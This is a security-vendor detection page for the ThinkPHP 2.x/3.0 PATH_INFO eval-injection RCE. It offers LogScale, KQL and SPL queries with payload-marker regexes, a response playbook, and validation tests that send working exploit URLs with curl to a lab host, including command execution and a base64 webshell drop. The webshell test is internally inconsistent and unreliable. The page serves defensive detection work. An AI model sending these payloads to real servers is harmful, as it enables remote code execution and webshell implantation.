Skip to content
CVE-2012-20007 CrowdStrike LogScale · LogScale

Detect ThinkPHP 2.x/3.0 Lite Dispatcher PATH_INFO eval Injection RCE (CVE-2012-20007) in CrowdStrike LogScale

Detects exploitation of the ThinkPHP 2.0-2.2 and 3.0 Lite-mode eval injection vulnerability in the Dispatcher's PATH_INFO parsing. The framework builds a module/action routing string from PATH_INFO and passes it to preg_replace() with the deprecated /e modifier, which evaluates the replacement as PHP code. By crafting a URL such as /index.php/module/action/param/${@phpinfo()} or using @eval() constructs, an unauthenticated attacker achieves arbitrary PHP code execution. This detection looks for the characteristic PATH_INFO payload patterns (${...}, @eval, @assert, phpinfo, system/exec/passthru, base64_decode) in web server access logs and WAF telemetry targeting index.php with extra path segments.

Based on VulnCheck Advisory: ThinkPHP 2.x/3.0 Lite Unauthenticated RCE via Dispatcher PATH_INFO

MITRE ATT&CK

Tactic
Initial Access Execution

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql
// df00tech DF00-080adae336 · https://df00tech.com/detections/CVE-2012-20007 · licence: https://df00tech.com/detections/licence
#event_simpleName=/^(HttpRequest|WebProxy)/
| (HttpPath=/index\.php/i OR Url=/index\.php/i)
| RequestUrl := concat([HttpPath, HttpQuery])
| RequestUrl=/(?i)index\.php\/[^?\s]+\/[^?\s]+/
| RequestUrl=/(?i)(\$\{|@eval|@assert|phpinfo|base64_decode|system\(|passthru|shell_exec|call_user_func)/
| groupBy([aid, RemoteAddressIP4], function=([count(as=hits), collect([RequestUrl])]))
| sort(hits, order=desc)
critical severity medium confidence

CrowdStrike LogScale/CQL query over HTTP request and web proxy events for ThinkPHP PATH_INFO eval-injection payloads.

Data Sources

CrowdStrike HTTP Request EventsWeb Proxy Telemetry

Required Tables

HttpRequestWebProxy

False Positives & Tuning

  • Legitimate application URLs using ${} in path routing
  • Authorized penetration testing and scanning
  • Benign requests with function-name-like substrings in the path

Other platforms for CVE-2012-20007


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 ThinkPHP PATH_INFO phpinfo eval probe

    Expected signal: Web access log entry for index.php with PATH_INFO containing ${@phpinfo()} and (if vulnerable) a large HTTP 200 response.

  2. Test 2 ThinkPHP eval injection command execution

    Expected signal: Access log entry with system( payload in PATH_INFO; on a vulnerable host, php-fpm spawns a child shell running id.

  3. Test 3 ThinkPHP base64-encoded webshell drop

    Expected signal: Access log entry containing @eval and base64_decode markers; creation of a new .php file in the web root.


Response Playbook

Triage

  1. Extract the full request URL from the alert and decode any URL/double-URL encoding to reveal the actual PATH_INFO payload (e.g. ${@phpinfo()}, @eval(...), base64_decode(...)). Confirm the segment follows index.php and uses /e-modifier-triggering syntax.
  2. Identify the target host and confirm whether it runs ThinkPHP 2.0-2.2 or 3.0 in Lite mode (check for /ThinkPHP/ directory, Lib/Think/Core/Dispatcher.class.php, or the X-Powered-By / response fingerprints).
  3. Review the HTTP response status and size for the suspect request. A 200 with reflected phpinfo output or command results indicates successful code execution, not just a probe.
  4. Pivot on the source IP to enumerate all other requests in the window, distinguishing a single opportunistic scan from a sustained exploitation sequence (payload probing followed by webshell drop).

Containment

  1. Block the attacking source IP(s) at the WAF/edge and, if exploitation succeeded, isolate the affected web host from the network to prevent lateral movement.
  2. Deploy a virtual patch / WAF rule rejecting index.php requests whose PATH_INFO contains ${, @eval, @assert, or base64_decode, and upgrade ThinkPHP to a non-vulnerable release that removes the preg_replace /e usage.

Evidence Collection

  1. Preserve the complete web server access and error logs covering the exploitation window, plus any PHP-FPM / php error logs showing eval() execution.
  2. Capture a forensic copy of the web root to identify any dropped webshells or modified PHP files, and snapshot running processes and network connections on the host.

Escalation Criteria

  • !Escalate to incident response immediately if the response indicates executed code (reflected phpinfo, command output) or if new/modified PHP files appear in the web root after the request.
  • !Escalate if the same source or payload family targets multiple internet-facing hosts, indicating a coordinated campaign rather than an isolated scan.

Investigation Guide

Forensic Artifacts

  • >Web server access logs containing index.php PATH_INFO payloads with ${}/@eval markers
  • >PHP/PHP-FPM error logs showing eval()'d code or preg_replace deprecation notices
  • >Newly created or modified .php files in the ThinkPHP web root (potential webshells)
  • >Unexpected child processes (sh, bash, whoami, curl, wget) spawned by the php/php-fpm/httpd user

Tuning Guidance

If the organisation runs legitimate ThinkPHP apps that use ${} in path parameters, baseline those routes and exclude them by exact path prefix rather than removing the ${ pattern entirely. Tighten confidence to high when the request also returns HTTP 200 with an abnormally large response or when the source IP has no prior history. Consider splitting probe detection (phpinfo, ${@print()}) from weaponisation detection (base64_decode, system/exec/passthru) into separate severities.


Hunting Queries

Hunts for any index.php requests carrying ThinkPHP eval-injection payload markers across the environment, grouped by source and path.

Hunting — KQL
kql
// df00tech DF00-080adae336 · https://df00tech.com/detections/CVE-2012-20007 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "index.php" | where (strcat(csUriStem, csUriQuery)) matches regex @"(?i)(\$\{|@eval|@assert|phpinfo|base64_decode)" | summarize count() by cIP, csUriStem | sort by count_ desc
Hunting — SPL
spl
``` df00tech DF00-080adae336 · https://df00tech.com/detections/CVE-2012-20007 · licence: https://df00tech.com/detections/licence ```
index=web sourcetype=access_combined uri_path="*index.php*" | regex _raw="(?i)(\$\{|@eval|@assert|phpinfo|base64_decode)" | stats count by clientip, uri_path | sort - count

Atomic Red Team Tests

Test 1 ThinkPHP PATH_INFO phpinfo eval probe
linux

Sends the canonical ThinkPHP 2.x RCE probe that triggers phpinfo() via the /e-modifier eval injection in PATH_INFO.

Command

bash
curl -sk 'http://target.lab/index.php/module/action/param/${@phpinfo()}' -o /tmp/thinkphp_probe.out

Cleanup

bash
rm -f /tmp/thinkphp_probe.out

Expected Telemetry

Web access log entry for index.php with PATH_INFO containing ${@phpinfo()} and (if vulnerable) a large HTTP 200 response.

Expected Detection

All seven SIEM queries match on the ${ and phpinfo payload markers in the index.php PATH_INFO.

Test 2 ThinkPHP eval injection command execution
linux

Attempts OS command execution through the eval injection using a system() call embedded in PATH_INFO.

Command

bash
curl -sk 'http://target.lab/index.php/module/action/x/${@system(id)}'

Cleanup

bash
echo 'no local artifacts to clean'

Expected Telemetry

Access log entry with system( payload in PATH_INFO; on a vulnerable host, php-fpm spawns a child shell running id.

Expected Detection

Queries match on system( and ${ markers; EDR hunting query surfaces the php-fpm child process.

Test 3 ThinkPHP base64-encoded webshell drop
linux

Uses the eval injection with base64_decode to write a minimal PHP webshell into the web root (lab-only).

Command

bash
curl -sk 'http://target.lab/index.php/module/action/x/${@eval(base64_decode(PGF9cGhwIGV2YWwoJF9HRVRbMF0pOz8+))}'

Cleanup

bash
ssh target.lab 'rm -f /var/www/html/shell.php' 2>/dev/null || true

Expected Telemetry

Access log entry containing @eval and base64_decode markers; creation of a new .php file in the web root.

Expected Detection

Queries match on @eval and base64_decode markers; forensic artifact hunt flags the new web-root PHP file.

Related Detections